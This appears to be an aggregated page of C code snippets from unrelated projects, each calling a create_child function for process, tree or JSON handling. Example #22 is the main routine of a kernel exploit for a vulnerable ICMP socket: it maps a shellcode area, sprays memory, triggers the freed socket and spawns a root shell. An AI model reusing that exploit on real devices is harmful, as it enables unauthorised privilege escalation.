Example #1
0
int main(int argc, char *argv[])
{
   int i;
   
   /* copy our argument list */
   const char **argvn = (const char **) malloc(sizeof(char*)*(argc+3));
   
   if(argvn==0) { fprintf(stderr,"malloc failed\n"); exit(1); }
   argvn[0] = PLAY_PROG;
   argvn[1] = "-q";
   argvn[2] = "-g";
   for(i=1;i<argc;i++) argvn[i+2] = argv[i];
   argvn[argc+2] = 0;

   create_child(argvn);

   gtk_init (&argc, &argv);
   gtk_xlav = create_form_xlav();
// old:  gtk_signal_connect (GTK_OBJECT (gtk_xlav->xlav), "destroy",
// old:      GTK_SIGNAL_FUNC(gtk_main_quit), NULL);
   g_signal_connect_swapped(G_OBJECT (gtk_xlav->xlav), "destroy",
   G_CALLBACK(gtk_main_quit), NULL);
   gtk_widget_show(gtk_xlav->xlav); /* show the main window */

   gdk_input_add(inp_pipe,GDK_INPUT_READ,(GdkInputFunction)get_input,(gpointer)0);

   gtk_main();
   return 0;
}
Example #2
0
static bool check_with_child(struct ptr_valid_batch *batch,
                             const void *p, size_t size, bool is_write)
{
    char ret;

    if (!child_alive(batch)) {
        if (!create_child(batch))
            return false;
    }

    if (write(batch->to_child, &p, sizeof(p))
            + write(batch->to_child, &size, sizeof(size))
            + write(batch->to_child, &is_write, sizeof(is_write))
            != sizeof(p) + sizeof(size) + sizeof(is_write)) {
        finish_child(batch);
        errno = EFAULT;
        return false;
    }

    if (read(batch->from_child, &ret, sizeof(ret)) != sizeof(ret)) {
        finish_child(batch);
        errno = EFAULT;
        return false;
    }
    return true;
}
Example #3
0
MODULE create_child_thread (THREAD *thread)
{
    tcb = thread-> tcb;                 /*  Point to thread's context        */

    if (tcb-> transfer_type == PUT_FILE_MODE)
        create_child (thread, "FTPD_PUT_FILE", put_file_event);
    else
    if (tcb-> transfer_type == PASSIVE_MODE)
        create_child (thread, "FTPD_PASSIVE",  passive_event);
    else
    if (tcb-> transfer_type == GET_FILE_MODE)
        create_child (thread, "FTPD_GET_FILE", get_file_event);
    else
    if (tcb-> transfer_type == APPEND_FILE_MODE)
        create_child (thread, "FTPD_APPEND_FILE", append_file_event);
    else
        SEND (&tcb-> reply_to, "FTPD_ERROR", "");
}
Example #4
0
void QuadTree::subdivide(){

	Vector middle = (boundary.lowerLeft-boundary.upperRight)/2 + boundary.upperRight;

	northWest = create_child(boundary.upperRight, middle);

	Vector tmpUpper((boundary.lowerLeft.x - boundary.upperRight.x)/2 + boundary.upperRight.x, boundary.upperRight.y);
	Vector tmpLower(boundary.lowerLeft.x, (boundary.lowerLeft.y-boundary.upperRight.y)/2 +boundary.upperRight.y);
	northEast = create_child(tmpUpper, tmpLower);

	tmpUpper.x = boundary.upperRight.x;
	tmpUpper.y = (boundary.lowerLeft.y - boundary.upperRight.y)/2 + boundary.upperRight.y;
	tmpLower.x = (boundary.lowerLeft.x - boundary.upperRight.x)/2 + boundary.upperRight.x;
	tmpLower.y = boundary.lowerLeft.y;
	southWest = create_child(tmpUpper, tmpLower);

	southEast = create_child(middle, boundary.lowerLeft);
}
    size_t crossover(const sequence_type& a, const sequence_type& b, ea::IOutputAdapter<sequence_type>& output) override
    {
        sequence_len_t offset0;
        sequence_len_t offset1;

        assert(_base.len(a) >= 5);
        assert(_base.len(a) < std::numeric_limits<int32_t>::max());

        offset0 = _rnd->get_int32(1, _base.len(a) - 3);

        assert(_base.len(b) > offset0 + 2);
        assert(_base.len(b) < std::numeric_limits<int32_t>::max());

        offset1 = _rnd->get_int32(offset0 + 1, _base.len(b) - 1);

        output.push(create_child(b, a, offset0, offset1));
        output.push(create_child(a, b, offset0, offset1));

        return 2;
    }
Example #6
0
HANDLE start_child(ci_socket fd)
{
     HANDLE child_pipe;
     PROCESS_INFORMATION pi;
     if (!create_child(&pi, &child_pipe))
          return 0;
     printf("For child %d Writing to pipe:%d\n", pi.hProcess, child_pipe);
     send_handles(pi.dwProcessId, child_pipe, pi.hProcess, fd, accept_mutex,
                  childs_queue.shmid, childs_queue.queue_mtx,
                  childs_queue.size);
     return pi.hProcess;
}
Example #7
0
void write_result(GtkWidget *widget, gpointer data)
{
	if (pipe_is_active(LAVREC))
	{
		printf("Error, lavrec is already active!\n");
		return;
	}
	table_set_text(0, 0, 0, 0, 0, 0, 0, 0);
	current_file = 0;
	studio_set_lavrec_label("Initializing capture\nPlease wait...");
	create_child();
}
Example #8
0
int main(int argc, char** argv)
{
    pid_t pid;
    int pipeline[2];
    char pipeReadBuffer[GCC_OUTPUT_BUFFER_SIZE] = {0};   
    
    
    // Traitement des taches du parent
    execute_folder_operations(get_folder_path(argc, argv));
    cFilesList = get_c_files(cFilesList);
    check_folder_has_cFiles(cFilesList);
    create_pipeline(pipeline);
    pid = create_child();
    
    
    if (pid > 0) { // PARENT - Ajustements propre a ce processus
        free_array_of_array(cFilesList);        // Free, cFilesList maintenant inutile pour ce processus
        signal(SIGINT, set_run_status);         // Gestion de la fin du prog par le processus parent
        
        while (RUN) {                           // Lance la lecture sur pipe avec enfant
            read(pipeline[0], pipeReadBuffer, sizeof(pipeReadBuffer));
            
            if (strlen(pipeReadBuffer) != 0)
                //printf("DEBUG-> Parent received:\n%s", pipeReadBuffer);
                printf("%s", pipeReadBuffer);
                
            strcpy(pipeReadBuffer, "");         // Vide buffer
        }
        
        kill(pid, SIGUSR1);                     // Kill Child Process
        wait(NULL);
        
    } else {       // ENFANT - Lance les operations de traitements
        sigignore(SIGINT);                      // Le parent s'occupe de tuer l'enfant        
        signal(SIGUSR1, child_clean_atexit);    // Ecoute directive de terminaison envoyee par le parent
        initMutex();                            // Initialisation du ou des mutex(es)
        
        while (1) {
            JobsList = update_JobsList(JobsList, cFilesList); // Ajout d'une "job" pour tous les nouveaux fichiers

            if (JobsList != NULL)
                update_threads(JobsList, pipeline); // Creation d'un thread pour les nouvelles "Jobs" dans le tableau
            
            sleep(FOLDER_POLLING_DELAY);            // Inutile de verifier le dossier trop rapidement...
            
            cFilesList = free_array_of_array(cFilesList); // Nettoyage
            cFilesList = get_c_files(cFilesList);   // Update la liste et boucle...
        }
    }
    
    return (EXIT_SUCCESS);
}
Example #9
0
File: main.c Project: Elekhyr/ran
int main(int argc, char *argv[]){

    if(argc > 2){
        max_time = (unsigned int) atoi(argv[1]);
    }

    if (argc > 3 && atoi(argv[2]) > 2){
        core_number = (unsigned int) atoi(argv[2]);
    }
    core_number = 6;
    int k;
    FILE *file;

    char *functions_names[] = {
            "tree_sort",
            "selection_sort",
            "heapsort",
            "insertion_sort",
            "merge_sort",
            "dichotomous_insertion_sort",
            "quicksort",
            "bubble_sort"
            //"insertion_sort_linked_list"
    };

    functions_t functions[] = {
            tree_sort,
            selection_sort,
            heapsort,
            insertion_sort,
            merge_sort,
            dichotomous_insertion_sort,
            quicksort,
            bubble_sort
            //insertion_sort_linked_list
    };

    int size = (int) (sizeof(functions) / sizeof(functions[0]));
    for(k = 0; k < core_number ; k++){
        create_child(functions, functions_names, size*k/core_number, size*(k+1)/core_number);
    }

    for(k = 0; k < core_number ; k++){
        wait(NULL);
    }

    file = fopen("results.csv", "w+");
    to_csv(file, functions_names, size);
    fclose(file);

    return 0;
}
Example #10
0
void delete_child(Server *serv, int child)
{
    int fd = glob_child_dat.child_pipe[child];

#ifdef DEBUG
    fprintf(stderr,"deleting child %d (pos %d), which uses fd %d (glob_child_dat.curr_child = %d)\n", glob_child_dat.children[child], child, fd, glob_child_dat.curr_child); 
#endif
    /* shutdown(fd, 2); */
    close(fd);
#ifdef DEBUG
    fprintf(stderr,"closing fd %d\n", fd); 
#endif
    serv->fd_partner[fd] = -1;
    glob_child_dat.child_pipe[child] = -1;
    glob_child_dat.children[child] = -1;
    delete_data(serv, fd);
    reset_server_read_fd(serv, fd);
    reset_server_write_fd(serv, fd);
    FD_CLR(fd, &serv->except_fds);
    glob_child_dat.num_children--;
    if (glob_child_dat.curr_child != -2)
    {
	/* if that drops us below our minimum, start some new children */
	while (glob_child_dat.num_children < min_children && create_child(serv))
	    ;
    }
    /* we've finished, unless the child that died was the one that
	* is currently "it", or unless no children are "it" */
    if (glob_child_dat.curr_child > -1 && child != glob_child_dat.curr_child)
	return;
    /* try to find a new child to listen on the socket. */
    for (child = 0; child < max_children; child++)
	if (glob_child_dat.children[child] >= 0 &&
		!glob_child_dat.child_busy[child] &&
		serv->writebuf.num_chars[glob_child_dat.child_pipe[child]] < 0)
	{
	  glob_child_dat.curr_child = child;
          if (debug)
          {
	    syslog(LOG_INFO,"child died, passing the ball to child %d (# %d)\n", 
                glob_child_dat.children[glob_child_dat.curr_child], 
                glob_child_dat.curr_child); 
          }  // if (debug)

	  add_data(serv,
	    glob_child_dat.child_pipe[glob_child_dat.curr_child],
	    "x", 0, 1, fs_output);
	  return;
	}  // if (glob...
}  // delete_child
Example #11
0
File: q2.c Project: khzaw/CS2106
void create_child(int lvl) {
  pid_t child1, child2;
  int status1, status2;
  
  if(lvl == 0) {
    return;
  } else {
    lvl = lvl-1;
    if((child1 = fork()) == 0) {
      printf("Child: %d, Parent: %d\n", getpid(), getppid());
      create_child(lvl);
    } else if(child1 > 0) {
      if((child2 = fork()) == 0) {
        printf("Child: %d, Parent: %d\n", getpid(), getppid());
        create_child(lvl);
      } else if(child2 > 0) {
        waitpid(child2, &status2, 0);
      } else perror(strerror(errno));
    } else perror(strerror(errno));
    waitpid(child1, &status2, 0);
    // uncomment next line to view the pstree e.g., pstree -p `superdaddy's pid`
    // sleep(30);
  }
}
Example #12
0
void parent_main_loop(int control_port, unsigned long listen_ip,
	int listen_port)
{
    Server *serv;
    int child;
    int control_fd;

    /* specify port and size of the listen queue we're going to use */
    serv = server_new(listen_ip, listen_port, 1024); 
    if (listen_port == DONT_CARE)
	fprintf(stderr,"Started accepting connections on port %d\n", serv->port);
    glob_server = serv;
    serv->control_port = control_port;
    /* confirm that the control port is valid, since if it isn't, we'll
     * have a rather nasty fork-bomb behaviour - children will suicide on
     * startup because they can't connect to the control port, the parent
     * will notice that there are fewer children than min_children, and
     * fork more. */
    control_fd = open_connection(serv,inet_addr(control_ip),control_port,1,0);
    if (control_fd < 0)
	fatal(serv, "parent unable to open control port: %m\n");
    else
	close(control_fd);
#ifdef DEBUG
    fprintf(stderr,"parent pid = %ld\n", getpid());
#endif
    glob_child_dat.num_children = 0;
    for (child = 0; child < max_children; child++)
	glob_child_dat.children[child] = -1;
    for (child = 0; child < min_children; child++)
	(void) create_child(serv);
    signal(SIGCHLD, child_signal);
    signal(SIGPIPE, SIG_IGN);
    glob_child_dat.curr_child = 0;
    /* listen to stdin, so we know when erlang stops */
    set_server_read_fd(serv, STDIN_FILENO);

    /* tell the first child to start handling connections */
    if (debug)
      syslog(LOG_INFO,"passing the ball to child %d (# %d)\n", 
        glob_child_dat.children[glob_child_dat.curr_child], 
        glob_child_dat.curr_child); 

    add_data(serv, glob_child_dat.child_pipe[glob_child_dat.curr_child],
	    "x", 0, 1, fs_output);

    server_main_loop(serv, parent_write, parent_read, NULL);
}
Example #13
0
static enum nurs_return_t
pysvr_producer_organize(struct nurs_producer *producer)
{
	const struct nurs_config *config = nurs_producer_config(producer);
	struct py_priv *priv = nurs_producer_context(producer);

	if (create_child(priv, config)) {
		svr_log(NURS_ERROR, priv, "failed to create child: %s\n",
			 _sys_errlist[errno]);
		return NURS_RET_ERROR;
	}

	return _talk_active(nurs_producer_context(producer),
			    NURS_PYIPC_T_REQ_PRODUCER_ORGANIZE,
			    NURS_PYIPC_T_ACK_PRODUCER_ORGANIZE,
			    0, "p", producer);
}
Example #14
0
/* Creates a child process for exe, and shares the parent's standard FDs (stdin,
 * stdout, stderr) with the child.  Returns the child's PID on success, -1 o/w.
 */
pid_t create_child_with_stdfds(const char *exe, int argc, char *const argv[],
                               char *const envp[])
{
	struct childfdmap fd_dups[3] = { {0, 0}, {1, 1}, {2, 2} };
	pid_t kid;
	int ret;

	kid = create_child(exe, argc, argv, envp);
	if (kid < 0)
		return -1;
	ret = syscall(SYS_dup_fds_to, kid, fd_dups, COUNT_OF(fd_dups));
	if (ret != COUNT_OF(fd_dups)) {
		sys_proc_destroy(kid, -1);
		return -1;
	}
	return kid;
}
Example #15
0
static enum nurs_return_t
pysvr_organize(const struct nurs_plugin *plugin)
{
	const struct nurs_config *config = nurs_plugin_config(plugin);
	struct py_priv *priv = nurs_plugin_context(plugin);

	if (create_child(priv, config)) {
		svr_log(NURS_ERROR, priv, "failed to create child: %s\n",
			strerror(errno));
		return NURS_RET_ERROR;
	}

	return _talk_active(nurs_plugin_context(plugin),
			    NURS_PYIPC_T_REQ_ORGANIZE,
			    NURS_PYIPC_T_ACK_ORGANIZE,
			    0, "p", plugin);
}
Example #16
0
void main( int argc, char *argv[] )
{
#if defined( __NT__ )
    _fileinfo = 1;
#endif

    if( argc <= 1 ) {
        /* we are the spawning process */
        create_pipe();
        create_child( argv[0] );
        fill_pipe();
    } else {
        /* we are the spawned process */
        empty_pipe( atoi( argv[1] ) );
    }
    exit( EXIT_SUCCESS );
}
Example #17
0
static enum nurs_return_t
pysvr_coveter_organize(const struct nurs_plugin *plugin,
		       const struct nurs_input *input)
{
	const struct nurs_config *config = nurs_plugin_config(plugin);
	struct py_priv *priv = nurs_plugin_context(plugin);

	if (create_child(priv, config)) {
		svr_log(NURS_ERROR, priv, "failed to create child: %s\n",
			 _sys_errlist[errno]);
		return NURS_RET_ERROR;
	}

	return _talk_active(nurs_plugin_context(plugin),
			    NURS_PYIPC_T_REQ_COVETER_ORGANIZE,
			    NURS_PYIPC_T_ACK_COVETER_ORGANIZE,
			    0, "p", plugin, input);
}
int 
main (int argc, char **argv)
{
  int i;
  
  #ifdef SYMBIAN
  g_log_set_handler (NULL,  G_LOG_FLAG_FATAL| G_LOG_FLAG_RECURSION | G_LOG_LEVEL_CRITICAL | G_LOG_LEVEL_WARNING | G_LOG_LEVEL_MESSAGE | G_LOG_LEVEL_INFO | G_LOG_LEVEL_DEBUG, &mrtLogHandler, NULL);
  #endif /*SYMBIAN*/
   
  g_thread_init(NULL);
	  
  g_type_init ();
  
  if (argc > 1)
    n_children = atoi(argv[1]);

  if (argc > 2)
    n_iters = atoi(argv[2]);

  n_active_children = n_children;
  for (i = 0; i < n_children; i++)
    create_child ();

  loop = g_main_loop_new (NULL, FALSE);
  
  g_assert(loop != NULL);
  
  g_main_loop_run (loop);
  
  g_assert(n_active_children == 0);
  
  
#ifdef SYMBIAN
  testResultXml("timeloop-closure");
#endif /* EMULATOR */
  return 0;
}
void start_server(int port)
{
    signal(SIGCHLD,sigchld_handler);

    int client_length,socket_fd;
    struct sockaddr_in server_address,client_address;
    char *buf;
    ssize_t nbytes;

    socket_fd=create_socket();
    fill_address(&server_address,port,NULL);
    bind_socket(&server_address,socket_fd);

    printf("Server listening on port %i \n",ntohs(server_address.sin_port));

    while(1)
    {
        buf=(char *)malloc(sizeof(request));
        memset(buf,0,sizeof(request));
        client_length=sizeof(client_address);

        nbytes=recvfrom(socket_fd,buf,BUFFLEN,0,(struct sockaddr *)&client_address,&client_length);
        if(nbytes<0)
            err("Error in receiving request from client\n");
//        receive_message(socket_fd,buf,&client_address);

        fprintf(stderr,"\n\nReceived packet from client %s:%d\n",inet_ntoa(client_address.sin_addr), ntohs(client_address.sin_port));
        fflush(stdin);
        request *client_req=(request *)malloc(sizeof(request));
        decompress(client_req,buf);

        create_child(socket_fd,(struct sockaddr *)&client_address, client_req);
    }

    close(socket_fd);
}
Example #20
0
static char *encoded_jwt_claim(const grpc_auth_json_key *json_key,
                               const char *audience,
                               gpr_timespec token_lifetime, const char *scope) {
  grpc_json *json = grpc_json_create(GRPC_JSON_OBJECT);
  grpc_json *child = NULL;
  char *json_str = NULL;
  char *result = NULL;
  gpr_timespec now = gpr_now(GPR_CLOCK_REALTIME);
  gpr_timespec expiration = gpr_time_add(now, token_lifetime);
  char now_str[GPR_LTOA_MIN_BUFSIZE];
  char expiration_str[GPR_LTOA_MIN_BUFSIZE];
  if (gpr_time_cmp(token_lifetime, grpc_max_auth_token_lifetime()) > 0) {
    gpr_log(GPR_INFO, "Cropping token lifetime to maximum allowed value.");
    expiration = gpr_time_add(now, grpc_max_auth_token_lifetime());
  }
  int64_ttoa(now.tv_sec, now_str);
  int64_ttoa(expiration.tv_sec, expiration_str);

  child =
      create_child(NULL, json, "iss", json_key->client_email, GRPC_JSON_STRING);
  if (scope != NULL) {
    child = create_child(child, json, "scope", scope, GRPC_JSON_STRING);
  } else {
    /* Unscoped JWTs need a sub field. */
    child = create_child(child, json, "sub", json_key->client_email,
                         GRPC_JSON_STRING);
  }

  child = create_child(child, json, "aud", audience, GRPC_JSON_STRING);
  child = create_child(child, json, "iat", now_str, GRPC_JSON_NUMBER);
  create_child(child, json, "exp", expiration_str, GRPC_JSON_NUMBER);

  json_str = grpc_json_dump_to_string(json, 0);
  result = grpc_base64_encode(json_str, strlen(json_str), 1, 0);
  gpr_free(json_str);
  grpc_json_destroy(json);
  return result;
}
Example #21
0
void parent_read(Server *serv, int fd)
{
    static int num_busy = 0;

    char buffer[10];
    int chars_read = -1;
    int start;
    int error;
    int pos;

    if (glob_child_dat.children[glob_child_dat.fd_to_child[fd]] == -2)
    {
	delete_child(serv, glob_child_dat.fd_to_child[fd]);
	return;
    }
    else if (glob_child_dat.curr_child == -2)
	return;
    /* brutal debugging */
    if (fd == -1) terminate(0);

    /* FAIL POINT 4 ?? */

    chars_read = read(fd, buffer, 10);
    if (chars_read <= 0)
    {
	if (chars_read < 0)
	{
		/* just ignore read being interrupted by signals */
	    if (errno == EINTR) return;
	    if (errno == EAGAIN) return;
	    syslog(LOG_INFO, "parent failed to read from a child: %m\n");
	}
	/* shutdown if stdin closes */
	if (fd == STDIN_FILENO)
        {
            syslog(LOG_INFO, "Stdin (communication with Erlang) process has failed.\n");
	    terminate(0);
        }
	delete_child(serv, glob_child_dat.fd_to_child[fd]);
	return;
    }
    for (pos = 0; pos < chars_read; pos++)
    {
	switch (buffer[pos])
	{
	case 'f':
	    /* a child has some free capacity... */
#ifdef DEBUG
	    fprintf(stderr,"child %d (# %d) no longer maxed out\n", glob_child_dat.children[glob_child_dat.fd_to_child[fd]], glob_child_dat.fd_to_child[fd]); 
#endif
	    num_busy--;
	    glob_child_dat.child_busy[glob_child_dat.fd_to_child[fd]] = 0;
	    if (glob_child_dat.curr_child != -1)
		/* ..., we're not maxed out, so that's all */
		continue;
	    /* otherwise, make it active! */
#ifdef DEBUG
	    fprintf(stderr,"\tmaking it immediately active\n"); 
#endif
	    glob_child_dat.curr_child = glob_child_dat.fd_to_child[fd] - 1;
	    break;
	case '1':
#ifdef DEBUG
	    fprintf(stderr,"parent received: child %d (# %d) reached capacity\n", glob_child_dat.children[glob_child_dat.fd_to_child[fd]], glob_child_dat.fd_to_child[fd]); 
#endif
	    num_busy++;
	    glob_child_dat.child_busy[glob_child_dat.fd_to_child[fd]] = 1;
	    if (num_busy + min_children >= glob_child_dat.num_children)
	    {
		if (glob_child_dat.num_children < max_children)
		{
#ifdef DEBUG
		    fprintf(stderr,"creating new child\n"); 
#endif
		    if (!create_child(serv) &&
			    num_busy == glob_child_dat.num_children)
		    {
			/* printf("actually, failed to create new child\n"); */
			glob_child_dat.curr_child = -1;
			continue;
		    }
		}
		else if (num_busy == glob_child_dat.num_children)
		{
		    /* printf("\tcan't spawn a new child - have to wait\n"); */
		    glob_child_dat.curr_child = -1;
		    continue;
		}
	    }
	    break;
	default:
	    syslog(LOG_INFO, "parent received invalid message from child "
		    "pid %d (fd %d): %c (%d)\n",
		    glob_child_dat.children[glob_child_dat.fd_to_child[fd]],
		    fd, buffer[pos], (unsigned char) buffer[pos]);
	    continue;
	}
	start = glob_child_dat.curr_child;
	do
	{
	    if (start < 0 && start != glob_child_dat.curr_child)
		start = 0;
	    if (++glob_child_dat.curr_child >= max_children)
		glob_child_dat.curr_child = 0;
	    if (glob_child_dat.children[glob_child_dat.curr_child] >= 0 &&
		    !glob_child_dat.child_busy[glob_child_dat.curr_child] &&
		    serv->writebuf.num_chars[
		    glob_child_dat.child_pipe[glob_child_dat.curr_child]] < 0)
	    {
              if (debug)
		syslog(LOG_INFO, "passing the ball to child %d (# %d)\n", 
                  glob_child_dat.children[glob_child_dat.curr_child], 
                  glob_child_dat.curr_child); 

		error = !add_data(serv,
			glob_child_dat.child_pipe[glob_child_dat.curr_child],
			"x", 0, 1, fs_output);
		/* if (error) printf("failed to add_data\n"); */
	    }
	    else
		error = 1;
	} while (error && glob_child_dat.curr_child != start);
	if (error)
	{
#ifdef DEBUG
	    syslog(LOG_INFO,"Failed to pass the ball to any process.\n"); 
#endif
	    glob_child_dat.curr_child = -1;
	}
    }
}
Example #22
0
int main()
{
	int *socks;
	unsigned long *address[MAX_MMAP];
	int pid[MAX_CHILD];
	int pipe_read[MAX_CHILD];

	void *addr;
	int max_fds;
	int i, num_socks, num_child;
	int j;
	int success, count;
	int fd;
	int vulnerable = 0;
	int child_socks, total_child_socks;
	int temp;
	unsigned long *target;


	addr = mmap((void*)0x200000, _PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	if (addr == MAP_FAILED) {
		printf("map failed!\n");
		return -1;
	}
	memset((void*)0x200000, 0, _PAGE_SIZE);

	protect_from_oom_killer();

	fd = create_icmp_socket();
	if (fd < 0) {
		printf("can not crate icmp socket!\n");
		return -1;
	}

	setup_vul_socket(fd);

	for (i = 0; i < _PAGE_SIZE / sizeof(int *); i++) {
		if (((unsigned int*)addr)[i] != 0) {
			vulnerable = 1;
			break;
		}
	}

	if (vulnerable == 0) {
		printf("cve_3636 not vulnerable!\n");
		return -1;
	}

	if (mmap(0x50000000, 0x4000, PROT_WRITE | PROT_READ | PROT_EXEC,
                 MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED, -1, 0) != 0x50000000) {
                printf("map shellcode area failed!\n");
                return -1;
        }

        for (i = 0; i < 0x4000; i += 4){
                target = 0x50000000 + i;
                *target = call_back;
        }

	my_pid = getpid();

	max_fds = maximize_fd_limit();
	printf("max_fds = %d\n", max_fds);
	socks = malloc(sizeof(int*) * (max_fds + 1));

	printf("create child to spray\n");
	num_child = 0;
	num_socks = 0;
	child_socks = 0;
	total_child_socks = 0;
	for (i = 0; i < MAX_CHILD; i++) {

		if (total_child_socks > MAX_SOCKS)
			break;
		
		pid[i] = create_child(&pipe_read[i], max_fds, &child_socks);

		if (pid[i] == -1)
			break;

		printf(".");
		fflush(stdout);
		//printf("create vulnerable socket!\n");
		total_child_socks += child_socks;
		//printf("\n now child sockets = %d\n", total_child_socks);
		if ( num_socks < max_fds) {
			socks[num_socks] = create_icmp_socket();
			if (socks[num_socks] == -1)
				break;
			num_socks++;
		}

		usleep(500000);
	}
	num_child = i;
	printf("total child sockets: %d\n", total_child_socks);
	printf("\nchild num: %d\n", num_child);

	socks[num_socks] = -1;

	printf("vulnerable socket num: %d\n", num_socks);

	printf("now close child socket!\n");
	for (i = 0; i < num_child; i++) {
		close_child(pid[i]);
	}

	printf("setup vulnerable socket!\n");

	for (i = 0; i < num_socks; i++) {

		setup_vul_socket(socks[i]);
	}

	printf("sparying ...\n");
	success = 0;
	while (1) {

		count = 0;
		for (i = 0; i < MAX_MMAP; i++) {
			address[i] = mmap((void*)0, MAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
					MAP_SHARED|MAP_ANONYMOUS, -1, 0);
			if (address[i] == MAP_FAILED)
			{
				printf("map failed!\n");
				break;
			}
			fill_payload(address[i], MAP_SIZE);
			for (j = 0; socks[j] != -1; j++) {
				if (get_sk(socks[j]) > 0) {
					success = 1;
					printf("get it!\n");
					ioctl(socks[j], 0x5678, &temp);
					break;
				}
			}
			if (success)
				break;
		}
		count = i;

		if (success) {
			printf("free %ld bytes\n", MAP_SIZE * (count - 1));
			for (i = 0; i < count; i++) {
				munmap(address[i], MAP_SIZE);
			}
			munmap(0x50000000, 0x4000);
			system("/system/bin/sh");

			break;
		}
	}
	
	printf("main end!\n");

	return 0;
}
Example #23
0
int start_command(JNIEnv *env, jclass clazz __attribute__((unused)), jstring jhandler, jstring jcmd, jobjectArray jenv) {
  const char *utf;
  handler *h;
  int id;
  struct cmd_start_info *start_info;
  message *m;
  child_node *c;
  
  id = -1;
  m=NULL;
  c=NULL;
  utf=NULL;
  
  if(!authenticated()) {
    LOGE("%s: not authenticated", __func__);
    return -1;
  }
  
  if(!jhandler) {
    LOGE("%s: handler cannot be null", __func__);
    return -1;
  }
  
  utf = (*env)->GetStringUTFChars(env, jhandler, NULL);
  
  if(!utf) {
    LOGE("%s: cannot get handler name", __func__);
    goto jni_error;
  }
  
  h = get_handler_by_name(utf);
  
  if(!h) {
    LOGE("%s: handler \"%s\" not found", __func__, utf);
    goto exit;
  }
  
  (*env)->ReleaseStringUTFChars(env, jhandler, utf);
  utf=NULL;
  
  m = create_message(get_sequence(&ctrl_seq, &ctrl_seq_lock),
                      sizeof(struct cmd_start_info), CTRL_ID);
  
  if(!m) {
    LOGE("%s: cannot create messages", __func__);
    goto exit;
  }
  
  start_info = (struct cmd_start_info *) m->data;
  start_info->cmd_action = CMD_START;
  start_info->hid = h->id;
  
  if(jcmd && parse_cmd(env, h, jcmd, m)) {
    LOGE("%s: cannot parse command", __func__);
    goto exit;
  }
  
  if(jenv && parse_env(env, jenv, m)) {
    LOGE("%s: cannot parse environment", __func__);
    goto exit;
  }
  
  // create child
  
  c = create_child(m->head.seq);
  
  if(!c) {
    LOGE("%s: cannot craete child", __func__);
    goto exit;
  }
  
  c->handler = h;
  
  // add child to list
  
  pthread_mutex_lock(&(children.control.mutex));
  list_add(&(children.list), (node *) c);
  pthread_mutex_unlock(&(children.control.mutex));
  
  // send message to cSploitd
  
  pthread_mutex_lock(&write_lock);
  // OPTIMIZATION: use id to store return value for later check
  id = send_message(sockfd, m);
  pthread_mutex_unlock(&write_lock);
  
  if(id) {
    LOGE("%s: cannot send messages", __func__);
    // mark it as failed
    c->id = CTRL_ID;
    c->seq = 0;
  }
  
  id=-1;
  
  // wait for CMD_STARTED or CMD_FAIL
  
  pthread_mutex_lock(&(children.control.mutex));
  
  while(c->seq && children.control.active)
    pthread_cond_wait(&(children.control.cond), &(children.control.mutex));
  
  if(c->id == CTRL_ID || c->seq) { // command failed
    list_del(&(children.list), (node *) c);
  } else {
    id = c->id;
  }
  
  c->pending = 0;
  
  pthread_mutex_unlock(&(children.control.mutex));
  
  pthread_cond_broadcast(&(children.control.cond));
  
  if(id != -1) {
    LOGI("%s: child #%d started", __func__, id);
  } else if(c->seq) {
    LOGW("%s: pending child cancelled", __func__);
  } else {
    LOGW("%s: cannot start command", __func__);
  }
  
  goto exit;
  
  jni_error:
  if((*env)->ExceptionCheck(env)) {
    (*env)->ExceptionDescribe(env);
    (*env)->ExceptionClear(env);
  }
  
  exit:
  
  if(m)
    free_message(m);
  
  if(utf)
    (*env)->ReleaseStringUTFChars(env, jhandler, utf);
  
  return id;
}
Example #24
0
/**
 * simulate a single step
 *
 */
void simulation_step(int step)
{
	_operations =  0;

	struct Segment *segment = get_segment();

	irecv_field();

	int fields = segment->width * segment->height;
	struct Field **movements = malloc(sizeof(struct Field *) * fields);
	get_movement_order(movements, fields);

	for (int i = 0; i < fields; i++)
	{
		_operations++;

		struct Field *field = movements[i];

		if(is_near_border(field))
			irecv_field();

		if (field->population_type != EMPTY)
		{
			check_for_food(field);
			// suche nach Beute
		}
	}

	get_movement_order(movements, fields);
	for (int i = 0; i < fields; i++)
	{
		_operations++;

		struct Field *field = movements[i];

		if(is_near_border(field))
			irecv_field();

		if (field->population_type != EMPTY)
		{
			// if the animal becomes to old or starves, it will die
			if (should_die(field))
			{
				reset_field(field);
			}
			else
			{
				// has the animal on this field been moved before? (e.g. because it has found food)
				if(field->last_step < step)
				{
					struct Field *moved = move_animal(field);
					if(moved != 0)
					{
						field->last_step++;
						if(is_field_in_segment(moved))
						{
							field = moved;
						}
						else
						{
							field = 0; // animal has moved, but is now out of our segment
						}
					}
				}

				if(field != 0)
				{
					// check, whether the animal is old enough and should get a child
					if (should_get_child(field->population_type))
					{
						create_child(field);
					}

					field->energy -= 2;
					field->age++;
				}
			}
		}
		else if(field->population_type == EMPTY)
		{
			if(random_int(1, 100) <= (PLANT_RATE * 100))
			{
				field->contains_plant = 1;
			}
		}
	}

	irecv_field();

	free(movements);
}
Example #25
0
File: q2.c Project: khzaw/CS2106
int main(int argc, char ** argv) {
  int n = atoi(argv[1]);
  printf("Superdaddy: %d\n", getpid());
  create_child(n);
}
Example #26
0
/**
 * @brief handle a start command request.
 * @param msg the request ::message.
 * @param conn the connection that send the @p message
 * @returns a reply message on success, NULL on error.
 */
message *on_cmd_start(conn_node *conn, message *msg) {
  struct cmd_start_data *data;
  char *cmd;
  handler *h;
  child_node *c;
  int pin[2],pout[2],perr[2],pexec[2];
  int i;
  struct cmd_start_info *request_info;
  struct cmd_started_info *reply_info;
  pid_t pid;
  uint16_t seq;
  
  c = NULL;
  cmd = NULL;
  // ensure to set piped fd to invalid one,
  // or close(2) will close unexpected fd. ( like our stdin if 0 )
  pin[0] = pin[1] = pout[0] = pout[1] = perr[0] = perr[1] = pexec[0] = pexec[1] = -1;
  request_info = (struct cmd_start_info *)msg->data;
  data=NULL;
  pid = 0;
  seq = msg->head.seq;
  
  c = create_child(conn);
  if(!c) {
    print( ERROR, "cannot craete a new child" );
    goto start_fail;
  }
  
  for(h=(handler *)handlers.head;h && h->id != request_info->hid;h=(handler *)h->next);
  c->handler = h;
  
  if(!c->handler) {
    print( ERROR, "handler #%d not found", request_info->hid );
    goto start_fail;
  }
  
  cmd = (char *)c->handler->argv0;
  
  data = extract_start_data(msg, (cmd ? 1 : 0));
